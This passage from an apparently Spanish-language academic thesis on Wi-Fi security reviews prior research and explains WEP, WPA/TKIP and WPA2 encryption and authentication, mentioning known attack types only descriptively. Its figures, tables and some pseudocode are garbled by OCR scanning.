ARP para el par IP-MAC. Segun la respuesta ARP, el AP envia una respuesta
positiva 0 negativa al nodo sensor. El nodo sensor luego descubre si se trata de
un ataque IP-Spoofing o SMITM o si se trata de un escenario normal. El sistema
WIDS propuesto se simula en un simulador de red NS-3 y se encuentra que el
esquema funciona correctamente cuando el atacante esta estatico y bajo la

cobertura de un solo sensor durante el periodo completo del ataque.

Liu, Jin, & Wang (2010), proponen un trabajo llamado Survey on Security
Scheme and Attacking Methods of WPA/WPA2 en Chengdu, China. a medida
gue se descubre la falla de seguridad critica de WEP, la preocupacion de los
investigadores se ve cada vez mas atraida por el esquema de WPA / WPA2 que
incluye 802.1X, protocolo de autenticacion y algoritmos de encriptacion TKIP y
CCMP. En este documento, se proporciona una descripcion general de WPA /

WPA2. Y luego, se introducen las vulnerabilidades de WPA / WPA2 y las
22



investigaciones actuales en el método de atacar WPA / WPA2, los cuales son
Ataque de fuerza bruta, Atague de fuerza bruta TMTO, Ataque de fuerza bruta
usando GPU, Ataque de funcién de mezcla de teclas TKIP, Ataque de TKIP
Beck & Tews, Atague CCMP TMTO, entre otros. En el estudio, ellos sugieren
que arreglar TKIP o cambiar a CCMP es una opcion actual. También se
concluye que, a la hora de disefiar un protocolo de seguridad, la seguridad debe

tenerse en cuenta desde el principio.

Choi, Chang, Ko, & Hu (2011), proponen un trabajo denominado Secure MAC-
Layer Protocol for Captive Portals in Wireless Hotspots en Kyoto, Japén. Los
puntos de acceso inaldmbricos se dividen en gran medida en tres categorias:
redes domeésticas y de pequefias empresas, redes empresariales y puntos de
acceso. El acceso protegido Wi-Fi (WPA) proporciona soluciones para el hogar,
las pequefias empresas y las redes empresariales, pero los puntos de acceso
generalmente no estan protegidos en la capa de control de acceso medio (MAC)
porque estan abiertos al publico. En este articulo, se presenta un esquema que
establece una conexion inalambrica segura entre un dispositivo cliente y un
punto de acceso en estos entornos abiertos, usando criptografia jerarquica
basada en identidad, y cada usuario usa su direccion MAC como clave publica.
Este esquema no depende del modo de clave precompartida WPA vy
proporciona una mejor seguridad, especialmente contra la vulnerabilidad
Hole196 que se describe en el documento, en el sentido de que cada cliente se
conecta a un punto de acceso virtual Unico. Ademas, no esta restringido al
problema de seguridad de WPAPSK y RC4 en el que WPA todavia se basa.
Ademas, que puede detectar puntos de acceso no autorizados y es resistente a
ciertos tipos de atagues de denegacion de servicio. Incluso si un atacante
falsifica la direccion MAC del punto de acceso o dispositivo cliente o transmite
uno de los mensajes de protocolo, no aprende la clave compartida (kA, C)
porgue no conoce la clave privada del punto de acceso (dA). En consecuencia,
el atacante no puede escuchar a escondidas ni modificar los mensajes que se
transmiten dentro de una conexion segura establecida mediante nuestro
esquema. La integracion del esquema dentro de 802.11i se deja como trabajo

futuro.
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Choi, Chang, Ko, & Hu (2018), realizaron una investigacion denominada Tunnel-
Based EAP Effective Security Attacks WPA2 Enterprise Evaluation and
Proposed Amendments, en Praga, Republica Checa. El protocolo de
autenticacion extensible basado en tuneles se ha vuelto fundamental para el
control de acceso a redes inalambricas. Proporciona autenticacion, privacidad y
autorizacion para el acceso a la red empresarial protegido por el marco de
seguridad WPA / WPA2. WPAZ2 se considera el estandar mas reciente y seguro
para la comunicacion inalambrica, especialmente para redes Wi-Fi. Sin
embargo, WPA / WPA2-PSK se han visto amenazados ultimamente por
versiones avanzadas de ataques inalambricos. En este articulo, se estudian
WPA |/ WPA2: autenticacion empresarial con métodos comunes de EAP
(Extensible Authentication Protocol) basados en tuneles, centrandonos en sus
puntos fuertes y débiles y en el impacto de los recientes ataques WPA / WPA2.
Este documento evalla el rendimiento y la resistencia a las amenazas de WPA2
empresarial utilizando EAP basado en tuneles, que se considera la pila de
protocolos mas segura para las redes inalambricas empresariales. Se
estudiaron los métodos EAP habituales de autenticacion basados en tdneles. A
esto le sigui6é una evaluacion practica en términos de desempefio. Se estudio el
impacto de WPA2 empresarial reciente en estos protocolos de autenticacion. Se
propusieron mitigacion y enmiendas recomendadas para resolver los agujeros
detectados. Finalmente se presentan los ataques inalambricos que amenazan
el futuro de las comunicaciones inalambricas. Esto anima a la sociedad de la
comunicacién a trabajar por un nuevo estandar de proteccion que proteja de
forma nativa la transmision de datos sensibles. La nueva pila de protocolos
seguros para proteger la proxima generaciéon de comunicaciones inalambricas
debe incluir varias modificaciones, como se describe en la seccién de
recomendaciones, para resistir las técnicas de ataque recientes que amenazan

la autenticacion, la confidencialidad y la disponibilidad inalambricas.
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1.3. Teorias relacionadas al tema.

¢ Qué es seguridad informatica?

El significado del término seguridad informatica ha evolucionado en los
ultimos afios. Antes de que el problema de la seguridad de los datos se
difundiera ampliamente en los medios de comunicacion, la idea de la
seguridad informatica de la mayoria de la gente se centraba en la maquina
fisica. Tradicionalmente, las instalaciones informaticas se han protegido
fisicamente por tres razones: Para evitar el robo o dafio del hardware, evitar
el robo o dafio de la informacion, evitar la interrupcion del servicio (Avenia
Delgado, 2017).

La seguridad informética es el nombre de las medidas de seguridad que se
toman para evitar o reducir cualquier interrupciéon de un ataque a datos,
computadoras o dispositivos moviles y cubre no solo salvaguardar la
confidencialidad y la privacidad, sino también la disponibilidad e integridad
de los datos, los cuales son vitales para la calidad y seguridad de la atencion.
Las brechas de seguridad pueden ocurrir cuando usamos registros en papel,
enviamos informacion usando maquinas de fax e incluso verbalmente. Sin
embargo, las consecuencias de las brechas de seguridad con la informacién
digital son potencialmente mucho mas graves, ya que la informacién se
puede distribuir més facilmente y a una audiencia mucho mas amplia (Care
Provider Alliance, 2017).

Seguridad informatica implica estar protegido por sistemas que se conectan
a Internet, entre los que se encuentran hardware, software y datos, contra
ataques cibernéticos. En un ambito informatico, la seguridad abarca tanto a
la seguridad cibernética y la seguridad fisica, ambas usadas por empresas
para protegerse contra el acceso sin autorizacion al centro de datos y otros

sistemas informaticos (Seemma , Nandhini, & Sowmiya, 2018).

25



Virus / Interrupcion de  (Jso indebido de ka tecnologia
v Brecha de seguridad operaciones por parte de los empleados
Fugas de datos privados / Pérdida de
datos (45% en 2015) (20% an 2015) (10% en 2015) (0% en 2015)

%

@

Mantener la reputacion / Vuinerabilidades de Otos
Hackers / amenazas extemnas  SUMplir con 1as requiaciones §°Wam (13% en 2015)
(4% en 2015) (7% en 2015)

(25% en 2015)

Figura 3: Comparacion de los principales desafios de seguridad de red y
privacidad de la informacion que enfrentan las organizaciones en 2016 con los
de 2015 Fuente: (Eian, Lim, Yeap, Yeo, & Zahra, 2020)

Redes inalambricas

Las redes inalambricas son redes que utilizan ondas de radio para
conectar los dispositivos, sin la necesidad de utilizar cables de ningan
tipo.

Los dispositivos que usan redes inalambricas son los ordenadores ya
sean portatiles o de escritorio, asistentes digitales personales o PDA,
teléfonos maviles, tablets y dispositivos localizadores. Las redes
inalambricas o WLAN funcionan de manera muy parecida a las redes
cableadas o LAN, con la diferencia de que las primeras deben
convertir las sefiales de informacién en una forma adecuada para la
transmision a través del aire. Las redes inalambricas se utilizan en
sustitucion a las redes cableadas o para proporcionar acceso a datos
corporativos desde ubicaciones remotas en empresas o instituciones.
La infraestructura en WLAN puede ser construida a muy bajo coste en
comparacion con las alternativas cableadas tradicionales. Pero el
ahorro de dinero justifica muy parcialmente la construccion de redes
inalambricas. Si a la gente de una comunidad local se le proporciona
un acceso mas barato y mas facil a la informacion, se beneficiaran
directamente de lo que Internet tiene para ofrecer. El tiempo y el
esfuerzo ahorrado al tener acceso a la red mundial de informacién se
traduce en riqueza a escala local, ya que se puede hacer mas trabajo
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en menos tiempo y con menos esfuerzo. Las redes inalambricas
permiten a los dispositivos remotos que se conecten sin dificultad,
independientemente que estos dispositivos estén a unos metros o a
varios kilometros de distancia. Todo ello sin necesidad de romper
paredes para pasar cables o instalar conectores. Esto ha hecho que
el uso de esta tecnologia sea muy popular, extendiéndose muy
rapidamente. Existen muchas tecnologias diferentes que difieren en
la frecuencia de transmisioén utilizada, la velocidad y el alcance de sus
transmisiones. Por otro lado, hay algunas cuestiones relacionadas
con la regulacién legal del espectro electromagnético. Las ondas
electromagnéticas se transmiten a través de muchos dispositivos,
pero son propensas a la interferencia. Por esta razén, todos los paises
necesitan regulaciones que definan los rangos de frecuencia y
potencia de transmision permitidos para cada tecnologia. Ademas, las
ondas electromagnéticas no se pueden confinar facilmente a un area
geogréafica limitada. Por esta razon, un hacker puede escuchar
facilmente a una red si los datos transmitidos no estan codificados.
Por lo tanto, se deben tomar todas las medidas necesarias para
garantizar la privacidad de los datos transmitidos a través de redes
inalambricas. (Salazar, 2016)

De acuerdo con la tabla 1 se sefiala las diferencias entre redes
inalambricas y cableadas:

Tabla 1.

Diferencias entre redes inalambricas y cableadas.

Parametros de WLAN LAN
comparacion
Significa Wireless Local Area Local Area Network
Network
Tipo de conexion Tecnologias Incluye tecnologias
inalambricas inalambricas y
alambricas.
Costoy Costoso de instalar Menos costoso y
seguridad Yy menos seguro. Mas seguro.
Cobertura Grandes regiones Grandes areas
como oficinas, como edificios.
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Rendimiento

Interferencia

Ejemplos

edificios,
estaciones, etc.

Alto rendimiento;
rendimiento
afectado por el mal
tiempo.

Se puede interferir
facilmente.
Computadoras de

escritorio, portatiles,
tabletas y moviles
conectados a redes

Buen rendimiento y
no se ve afectado
por el clima.

No se puede
interferir facilmente.
Computadora  de
escritorio y portatil
conectados a LAN
en un edificio u

Wi-Fi o hotspots. oficina.

Fuente: (Salazar, 2016).

SEGURIDAD EN REDES INALAMBRICAS

Las redes inalambricas se definen como redes que no estan asociadas por
alambres o cables de ningun tipo. La utilizacién de una red remota permite a
las empresas mantener una forma econdémica de llevar la red a sus edificios
sin la necesidad de instalar cables costosos y costosos. Las redes
inalambricas también aseguran una conexién entre varias areas de equipos
aplicando ondas de radio, que es una ejecucion que ocurre en el grado fisico
de la estructura de la red, para asociar dispositivos personales como
teléfonos moéviles, computadoras portétiles, tabletas a Internet. No solo se
conectan dispositivos personales a Internet, las redes inalambricas se
utilizan para conectar dispositivos a los sistemas comerciales y diversas
aplicaciones. Por ejemplo, cuando un teléfono inteligente est4 conectado a
la red Wi-Fi que se encuentra en lugares abiertos, la conexion se establece
en la red inalambrica de esa empresa en particular. Todas las redes
inalambricas tienen las caracteristicas de autoasociacion dinamica,
autoconfiguracion, implementacion rapida, mantenimiento simple y bajo
costo. Las redes inalambricas se pueden clasificar en cuatro tipos segun el
area de aplicaciéon y el alcance de la sefial (Salazar, 2016):
1. Redes inaldmbricas de area personal (Wireless Personal-Area

Networks - WPAN)
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2. Redes inalambricas de area local (Wireless Local-Area Networks -
WLAN)

3. Redes inalambricas de area metropolitana (Wireless Metropolitan-
Area Networks - WMAN)

4. Redes inalambricas de area amplia (Wireless Wide-Area Networks -
WWAN).

En la figura 4 nos brinda una vision de los tipos de redes inalambricas:

WPAN
Bluetooth, IrDA
Jghee, UWH

L | L
¢ 1 ! ! >
10m 100 m S50 km Distancia

Figura 4: Tipos de redes inalambricas. Fuente: (Salazar, 2016)

Aungue las redes inaldmbricas parecen proporcionar mas beneficios que
desventajas, debido a su naturaleza inalambrica, las redes inalambricas no
estan protegidas por medios fisicos y, en consecuencia, se exponen a
innumerables ataques de seguridad. La era tradicional de las redes utiliza
varias formas de proteger la red, como el uso de cerraduras y llaves, mano
de obra como guardias de seguridad para buscar intrusos gue intentan
comprometer la red. Sin embargo, debido a la evolucién de la tecnologia,
todos estos ya no son necesarios para proteger la red inalambrica. De hecho,
los usuarios ya no necesitan comprar dichos candados o llaves para
asegurarse de gque los atacantes de la red no toquen sus cables. Los
usuarios pueden lograr la seguridad inalambrica de muchas formas que no
son costosas, a veces gratuitas para proteger la red inalambrica. Por
ejemplo, se puede instalar una simple red privada virtual gratuita en el
dispositivo para garantizar una red segura en el dispositivo del usuario. No
obstante, antes de configurar una red inalambrica, los usuarios y las

organizaciones deben aprender a pensar en las vulnerabilidades vy
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amenazas de las redes inalambricas. Si estas amenazas no se manejan
bien, un privilegio que puede parecer demasiado bueno para ser verdad
puede convertirse en un horror de pérdida y abuso de informacion. (Eian,
Lim, Yeap, Yeo, & Zahra, 2020)

La seguridad Wi-Fi es la proteccion de dispositivos y redes conectados en
un entorno inalambrico. Sin seguridad Wi-Fi, cualquier persona que utilice
una computadora o dispositivo movil dentro del area de la sefial inalambrica
del router puede acceder facilmente a un dispositivo de la misma red, como
un punto de acceso inalambrico o un enrutador.

¢,Cuales son algunas formas de proteger una red Wi-Fi?

Una de las mejores practicas basicas para la seguridad de Wi-Fi es cambiar

las contrasefas predeterminadas de los dispositivos de red.

La mayoria de los dispositivos cuentan con contrasefias de administrador
predeterminadas, que estan destinadas a facilitar la configuracion de los
dispositivos. Sin embargo, las contrasefias predeterminadas creadas por los
fabricantes de dispositivos pueden ser faciles de obtener en linea (CISCO,
2020).

Cambiar las contrasefias predeterminadas de los dispositivos de red por
contrasefias mas complejas, y cambiarlas con frecuencia, son formas
simples pero efectivas de mejorar la seguridad de Wi-Fi. A continuacion, en

la tabla 2, se muestran otros métodos de seguridad de la red Wi-Fi:
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Tabla 2.
Métodos de seguridad de la red Wi-Fi.

Otro enfoque basico para la seguridad de Wi-Fi es usar
direcciones MAC, que restringen el acceso a una red Wi-Fi.
Direcciones (Una direccion MAC es un codigo o numero Unico que se usa
de control para identificar dispositivos individuales en una red). Si bien
de acceso a esta tactica proporciona una mayor medida de seguridad que

medios una red abierta, aun es susceptible de ser atacada por
(MAC) adversarios que utilicen direcciones ‘"falsificadas" o
modificadas.

Un método mas comun para proteger redes y dispositivos Wi-
Fi es el uso de protocolos de seguridad que utilizan cifrado. El
cifrado en las comunicaciones digitales codifica los datos y

Cifrado luego los decodifica solo para los destinatarios autorizados.
En la actualidad, se utilizan varios tipos de estandares de
cifrado, incluido el acceso Wi-Fi protegido (WPA) y el acceso
Wi-Fi 2 protegido (WPA2).

Las VPN son otra fuente de seguridad de la red Wi-Fi.
Permiten a los usuarios crear tuneles seguros con identidad

Redes protegida entre redes Wi-Fi desprotegidas e Internet.

privadas Una VPN puede cifrar la conexion a Internet de un usuario.
virtuales También puede ocultar la direccién IP de un usuario mediante
(VPN) el uso de una direccion IP virtual que asigna al trafico del

usuario a medida que pasa por el servidor VPN.

Hay muchos tipos de software empresarial y de consumo que
Software de también pueden proporcionar seguridad Wi-Fi. Algun software
seguridad de proteccion Wi-Fi se incluye con productos relacionados,
como software antivirus.

Fuente: (CISCO, 2020)

Los estandares WLAN 802.11 especifican las dos capas mas bajas del modelo
de red OSI, que son las capas fisicas y de enlace de datos. Los principales
objetivos de IEEE para la creacion de estos estandares fueron enfoques
diferentes para la capa fisica, por ejemplo, diferentes frecuencias, diferentes
métodos de codificacion y comparten las mismas capas superiores. Lo han
logrado y las capas de control de acceso a medios (MAC) de los protocolos
802.11a, b y g son considerablemente idénticas. Alun en la siguiente capa
superior, todos los protocolos WLAN 802.11 especifican el uso del protocolo
802.2 para la porcion de control de enlace logico (LLC) de la capa de enlace

de datos. Como puede ver en la figura suscrita, en el modelo de red OSI,
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protocolos como TCP / IP, IPX, NetBEUI y AppleTalk, todavia existen en capas
superiores. En las WLAN, la privacidad se logra mediante la proteccion del
contenido de los datos con cifrado. El cifrado es opcional en las WLAN 802.11,
pero sin él, cualquier otro dispositivo inalambrico estandar puede leer todo el

trafico de la red.

TCP/IP IPX AppleTalk Capa superior
' (RFC 1024) |IEEE 802.11H Puente de Tunelizacién S e
A apa de enlace
IEEE 802.1 Control de enlace légico Copa de
IEEE 802.1 Bridging
IEEE 80211 Media Access Sub-Capa

* Capa fisica

Figura 5: Protocolos y Modelo OSI. (Lashkari, Seyed Danesh, & Samadi, 2009)

Tipos de Protocolos

1. Privacidad equivalente a cableado (Wired Equivalent Privacy) WEP
El protocolo WEP es equivalente a las redes cableadas, es un algoritmo de
cifrado empleado en las redes WLAN desde 1999 con la idea de dar una
confidencialidad similar a las conseguidas en las redes cableadas. WEP
emplea claves de 10 o 26 digitos hexadecimales para cifrar la informacion y
ya resultd evidente al afio siguiente de su introduccion en el mercado
informatico que el algoritmo presentaba graves vulnerabilidades. En el afio
2003 la Alianza WI-FI anuncié la reprobacion de dicho algoritmo. Dos afios
mas tarde, un grupo del FBI mostr6 publicamente cémo romper una red WI-
FI protegida con WEP en tan solo tres minutos con herramientas de codigo
abierto (Brihuega, 2014).
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WEP esta destinado a brindar seguridad a la LAN cableada mediante
encriptacion, utilizando el algoritmo RC4 con diferentes lados de la
correspondencia de informacion. WEP esta basado en el algoritmo de
encriptacion RC4, con una clave secreta de 40 o 104 bits, combinada con un
Vector de Inicializacién (IV) de 24 bits para encriptar el mensaje de texto M
y su checksum — el ICV (Integrity Check Value). (Lehembre, 2006)

El mensaje encriptado C se determinaba utilizando la siguiente férmula:
C=M]||ICV(M)]+[RC4(K || IV) ]

Donde || es un operador de concatenacion y + es un operador XOR.
Claramente, el vector de inicializacion es la clave de la seguridad WEP, asi
gue para mantener un nivel decente de seguridad y minimizar la difusion, el
IV debe ser aplicado a cada paquete, para que los paquetes subsiguientes
estén encriptados con claves diferentes.

En el lado del remitente:

WEP intenta utilizar cuatro operaciones para cifrar los datos (texto plano). Al
principio, la clave secreta utilizada en el algoritmo WEP tiene una longitud
de 40 bits con un vector de inicializacién (IV) de 24 bits que se concatena
para actuar como cifrado. / clave de descifrado.

En segundo lugar, la clave resultante actia como semilla para un generador
de numeros pseudoaleatorios (PRNG). En tercer lugar, el texto sin formato
arroja un algoritmo de integridad y se vuelve a concatenar mediante el texto
sin formato. En cuarto lugar, el resultado de la secuencia de teclas y el ICV
ird al algoritmo RC4. Se crea un mensaje cifrado final adjuntando el IV
delante del texto cifrado. (Reddy & Srikanth, 2019).
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Vector de iniciacion -J—»
| l | WEP | Uave de secuencia[— ] |V
|| FRN3 >
' Clave compartida —
RC4 |
Texto plano s || | Texto-cifrado
}Algoritmo de Encriptacion E.V

Mensaje
Figura 6: Encriptacion WEP del lado del remitente. Fuente: (Lashkari, Seyed
Danesh, & Samadi, 2009)

En el lado del destinatario:

WEP intenta utilizar cinco operaciones para descifrar el lado recibido (IV +
texto cifrado). Al principio, la clave precompartida y el IV se concatenaron
para hacer una clave secreta. En segundo lugar, el texto cifrado y la clave
secreta van al algoritmo CR4 y, como resultado, aparece un texto sin
formato. En tercer lugar, el ICV y el texto sin formato se separaran. En cuarto
lugar, el texto sin formato va al algoritmo de integridad para hacer un nuevo
ICV (ICV ") y finalmente el nuevo ICV (ICV') se compara con el ICV original.
(Khasawneh, Kajman, Alkhudaidy, & Althubyani, 2014)

Llave pre cnfnm:mr‘rjn}—.‘ WEP Uave de sacuance)
I | l l PRNG BRG . Texto plano =
PE————— K——) £ L__—_' x
| - Algontme de magndad [JC\/®| ™
—
v - ’ » 5 B
o | icV l
Texio cifrado | PP | ‘
| o ICV = IcVA
Mensaje

Figura 7: Encriptacion WEP del lado del destinatario. Fuente: (Lashkari,
Seyed Danesh, & Samadi, 2009)
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Debilidad de WEP:

WEP no anticipa la fabricacion de paquetes.

WEP no anticipa ataques de repeticion. Basicamente, un atacante
puede grabar y reproducir paquetes como desee y seran reconocidos
como auténticos.

WEP emplea RC4 de manera inapropiada. Las claves utilizadas son
fragiles y pueden ser forzadas en PC estandar en horas o minutos,
utilizando programas accesibles disponibles.

WEP reutiliza vectores de inicializacion. Una variedad de técnicas
criptoanaliticas accesibles que pueden decodificar informacion sin
obtener la clave de cifrado.

Sin deteccion, WEP permite que un atacante cambie la informacién
sin obtener la clave de cifrado.

La administracion de claves es insuficiente y la actualizacién es
deficiente.

El problema en el algoritmo RC-4.

Produccion sencilla de mensajes de autenticacion.

Debilidades del algoritmo RC4 dentro del protocolo WEP debido a la
construccion de la clave.

Los IVs son demasiado cortos (24 bits — hacen falta menos de 5000
paquetes para tener un 50% de posibilidades de dar con la clave) y
se permite la reutilizacién de IV (no hay proteccion contra la repeticion
de mensajes).

No existe una comprobacién de integridad apropiada (se utiliza
CRC32 para la deteccion de errores y no es criptograficamente

seguro por su linealidad)

2. Acceso Wi-Fi protegido (Wi-Fi Protected Access) WPA

El protocolo WPA estéa disefiado para vencer todas aquellas vulnerabilidades

encontradas en el protocolo WEP, WPA desarrollo la implementacion de un

protocolo de integridad de la clave temporal(Tklp), que se basa en modificar
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las claves cuando se hace uso del sistema, ademas, este protocolo mejora
la integridad de la informacion cifrada.

Fue presentado por Wi-Fi Alliance a finales de 2002. Wi-Fi Alliance with
Electronics Engineers (IEEE) aseguré las secciones débiles del protocolo
WEP recientemente revelado y presenté WPA como una interpretacion. Se
ha hecho compatible con todos los proveedores y equipos existentes. La
principal preocupacion es vencer las deficiencias de WEP sin el cambio de
equipo. Esto se termin6 con la inclusion del Protocolo de integridad de clave
temporal (TKIP) para el cifrado y el EAP 802.1X con fines de autenticacion
para ofrecer una alta seguridad. Para evitar la fabricacién de informacion
(cambio de bits), WPA presento el calculo de verificacion de integridad de

mensajes (MIC) conocido como "Michael".

Clave base = ‘ kay

b
. } Hash == eSpe&a' | A | sowsvon A
/ Q [—— N
%

vector de inicializacion IV A l —

| bl Merrage # ;

‘./"I
Texto sin formato ICV=ICV?

Figura 8: Algoritmo de cifrado WPA (TKIP). Fuente: (Reddy & Srikanth, 2019)

El WPA vino con el propdésito de solucionar los problemas en el método de
criptografia WEP, sin que los usuarios necesiten cambiar el hardware. El
estandar WPA similar a WEP especifica dos formas de operacion:

1. WPA personal o WPA-PSK (clave precompartida) que se utiliza
para la autenticacién de uso doméstico en oficinas pequefias y en el hogar
gue no utiliza un servidor de autenticacién y la clave de criptografia de datos
puede llegar hasta 256 bits. A diferencia de WEP, esta puede ser cualquier
cadena alfanumérica y se usa solo para negociar la sesion inicial con el AP.
Debido a que tanto el cliente como el AP ya poseen esta clave, WPA

proporciona autenticacién mutua y la clave nunca se transmite por aire.
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2. Enterprise WPA o Comercial que la autenticacion se realiza

mediante un servidor de autenticacion 802.1x, generando un excelente
control y seguridad en el trafico de usuarios de la red inalambrica. Este WPA
usa 802.1X + EAP para la autenticacion, pero nuevamente reemplaza WEP
con el cifrado TKIP mas avanzado. Aqui no se utiliza ninguna clave
previamente compartida, pero necesitar4 un servidor RADIUS. Y obtiene
todos los demas beneficios que ofrece 802.1X + EAP, incluida la integracion
con el proceso de inicio de sesién de Windows y la compatibilidad con los
métodos de autenticacion EAP-TLS y PEAP.
La razon principal por la que se genera WPA después de WEP es que el
WPA permite un cifrado de datos mas complejo en el protocolo TKIP
(Protocolo de integridad de clave temporal) y también asistido por MIC
(Comprobacion de integridad de mensajes), cuya funcién es evitar ataques
de tipo bit-flipping que se aplica facilmente a WEP mediante el uso de una
técnica de hash. (Lashkari, Seyed Danesh, & Samadi, 2009)

| Vector de Iniciacion (IV) | o[ IV o P

RC4
Llave temporal TKTA
Contgdor de

secugncia TKIP
Llave MIC |== Cox | Sencillo + . . Texto plano
‘ — e ragmento MIDU

WEP
Encapsulado W

Figura 9: Algoritmo de encriptacion WPA (TKIP). Fuente: (Lashkari, Seyed
Danesh, & Samadi, 2009)

TKIP usa la misma Técnica RC4 de WEP, pero haciendo un hash antes del
aumento del algoritmo RC4. Se realiza una duplicacion del vector de
inicializacion. Una copia se envia al siguiente paso y la otra se mezcla con
la clave base.

Luego de realizar el hash, el resultado genera la clave del paquete que va a
unir la primera copia del vector de inicializacion, ocurriendo el incremento del
algoritmo RC4. Después de eso, esta la generacién de una clave secuencial

con un XOR a partir del texto que desea criptografiar, generando luego el
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texto criptogréfico. Finalmente, el mensaje esté listo para enviarse. El cifrado
y el descifrado se realizaran invirtiendo el proceso. (Lashkari, Seyed Danesh,
& Samadi, 2009)

MIC o Michael: Michael es el nombre del cddigo de integridad del mensaje
TKIP. Es un MIC completamente nuevo disefiado que tiene una longitud de
64 bits y se representa como dos palabras littleEndian de 32 bits (KO, K1).
La funcion de Michael primero rellena un mensaje con el valor hexadecimal
Ox5a y suficiente relleno cero para llevar la longitud total del mensaje a un
multiplo de 32 bits, luego divide el resultado en una secuencia de palabras
de 32 bits M1, M2 ... Mn, y finalmente calcula la etiqueta a partir de la clave
y las palabras del mensaje utilizando una estructura iterativa simple:

(L, R) « (Ko, K1)

haceridelan

L« L XORM,

(L,R) « Swap(L,R)

Return (L, R) as the tag

El predicado de verificacion de Michael vuelve a ejecutar la funcién de
etiquetado sobre el mensaje y devuelve el resultado de una comparacion de
bits de esta etiqueta calculada localmente y la etiqueta recibida con el
mensaje.

El nivel de seguridad de un MIC generalmente se mide en bits. Si el nivel de
seguridad de un MIC es de s bits, entonces, por definicién, el tiempo
requerido para que un atacante construya una falsificacion es, en promedio,

después de aproximadamente 2 ~**1 paquetes.

Nueva disciplina de secuenciacion IV para derrotar repetida: Una
falsificacion que un MIC no puede detectar es un paquete reproducido. Esto
ocurre cuando un adversario registra un paquete valido en vuelo y luego lo
retransmite. Para vencer las repeticiones, TKIP reutiliza el campo WEP IV
como numero de secuencia del paquete. Tanto el transmisor como el
receptor inicializan el espacio de secuencia de paquetes a cero cada vez que

se establecen nuevas claves TKIP, y el transmisor incrementa el nimero de
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secuencia con cada paquete que envia. TKIP requiere que el receptor
aplique la secuenciacion IV adecuada de los paquetes que llegan. TKIP
define un paquete como fuera de secuencia si su IV es igual 0 mas pequefio
gue un MPDU recibido correctamente anterior asociado con la misma clave
de cifrado. Si una MPDU llega fuera de servicio, se considera que es una
repeticion y el receptor la descarta e incrementa un contador de repeticion.
Key mixing:

WEP construye una clave RC4 por paguete concatenando una clave base y
el paquete IV. La nueva clave por paquete que se llama la funcién de mezcla
de claves TKIP sustituye una clave temporal por la clave base WEP y
construye la clave WEP por paguete de una manera novedosa. Las claves
temporales se denominan asi porque tienen una vida Util fija y se reemplazan
con frecuencia.

La funcién de mezcla opera en dos fases:

+ La fase 1 elimina el uso de la misma clave por parte de todos los enlaces:

* La fase 2 descorrelaciona el IV publico de la clave por paquete conocida:

Recuperar o derrotar ataques de colision de claves:

El cambio de claves entrega las claves nuevas consumidas por los diversos
algoritmos TKIP. Generalmente hay tres tipos de claves: claves temporales,
claves de cifrado y claves maestras.

Ocupando el nivel mas bajo de la jerarquia estan las claves temporales
consumidas por los algoritmos de autenticacion y privacidad de TKIP
propiamente dichos. TKIP emplea un par de tipos de claves temporales: una
clave de cifrado de 128 bits y una segunda clave de 64 bits para la integridad
de los datos. TKIP utiliza un par de claves temporales independientes en
cada direccion de una asociacion. Por tanto, cada asociacion tiene dos pares
de claves, para un total de cuatro claves temporales. TKIP identifica este
conjunto de claves mediante un identificador de dos bits llamado ID de clave
WEP. Ahora se puede dibujar una nueva figura del proceso TKIP con detalles

de estas cuatro partes como en la siguiente imagen:
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Figura 10: Detalle del algoritmo de encriptacion TKIP. Fuente: (Lashkari, Seyed
Danesh, & Samadi, 2009)

Mejoras WPA:
e Cadigo de integridad del mensaje criptografico para superar las
reproducciones.
e Nuevo sistema de secuenciacion IV para derrotar ataques de
repeticion.
e Capacidad de mezcla de claves por paquete, para decorar los IVs
publicos de claves débiles.

e Cambiar la clave o derrotar a los ataques de colisién de claves.
Debilidades de WPA:

En noviembre de 2003, Robert Moskowitz publicé "Debilidad en la eleccion
de la frase de contrasefia en la interfaz WPA". En este articulo explica una
férmula que revelaria la frase de contrasefia realizando un ataque de
diccionario contra redes WPA-PSK, y para confirmacion, a finales de 2004,
Takehiro Takahashi, entonces estudiante de Georgia Tech, liber6 a WPA
Cracker y Josh Wright, un ingeniero de redes y conocido profesor de
seguridad, liberé cowpatty casi al mismo tiempo. Ambas herramientas estan
escritas para sistemas Linux y realizan un ataque de diccionario de fuerza
bruta contra redes WPA-PSK en un intento de determinar la frase de

contrasefla compartida. Ambos requieren que el usuario proporcione un

40



archivo de diccionario y un archivo de volcado que contenga el protocolo de
enlace de cuatro vias WPA-PSK.

3. Acceso Wi-Fi protegido 2 (Wi-Fi Protected Access 2) WPA2

En 2004, la ratificacion de WPA2 es ampliamente conocida como la segunda
generacion de WPA y es reconocido como el protocolo mas seguro utilizado
en redes inalambricas. Este protocolo utiliza la implementacion del algoritmo
de cifrado de blogues del Estandar de cifrado avanzado (AES) de 128 bits
para los procesos de autenticacion y cifrado. En WPA2 hay dos modos de
autenticacion que pueden usarse, que son Pre-Shared Key y Enterprise. En
lugar de TKIP, WPA2 utiliza una clave transitoria por pares (PTK) para la
generacion de claves. En lugar de utilizar el algoritmo de Michael, WPA2
utiiza CCMP (Protocolo CBC MAC en modo contador) que aplica el
algoritmo del estandar de cifrado avanzado (AES) de cifrado en bloque. Para
garantizar la integridad y proporcionar una autenticacion precisa, se ha
utilizado CCM (CBC-MAC) en WPA2 (Khasawneh, Kajman, Alkhudaidy, &
Althubyani, 2014).

Hay dos modos de autenticacion en WPA2. WPA2 Personal, o el modo
WPA2-PSK (clave pre-compartida), esta disefiado para redes domésticas o
de oficinas pequefias con un solo punto de acceso (AP). El cliente y AP se
autentican entre si mediante PSK y prueban la posesion de PSK, sin
intercambiarlo. WPA2-Enterprise, denominado modo WPA2-802.1X, esté
disefiado para redes empresariales con multiples AP. Requiere un servidor
central de servicio de usuario de acceso telefonico de autenticacion remota
(RADIUS) y se pueden utilizar varios tipos de protocolos de autenticacion

extensibles (EAP) para la autenticacion.

En el modo WPA2-Personal, el cliente y el AP comparten un PSK estatico.
Desde PSK, se calcula una clave maestra por pares (PMK) utilizando la

funcién de derivacion de clave PBKDF2 de la siguiente manera, PMK =
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PBKDF2(HmacShal, PSK, SSID), y luego sigue un protocolo de enlace de
4 vias.

En el modo WPAZ2-Enterprise, el cliente es autenticado por un servidor
RADIUS central usando varios protocolos de autenticacion extensible (EAP)
y luego el servidor RADIUS genera PMK vy lo distribuye de forma segura al
cliente y AP. Después de eso, sigue un apreton de manos de 4 vias entre el
cliente y AP.

Cada version tiene dos modos de operacion, que son clave precompartida
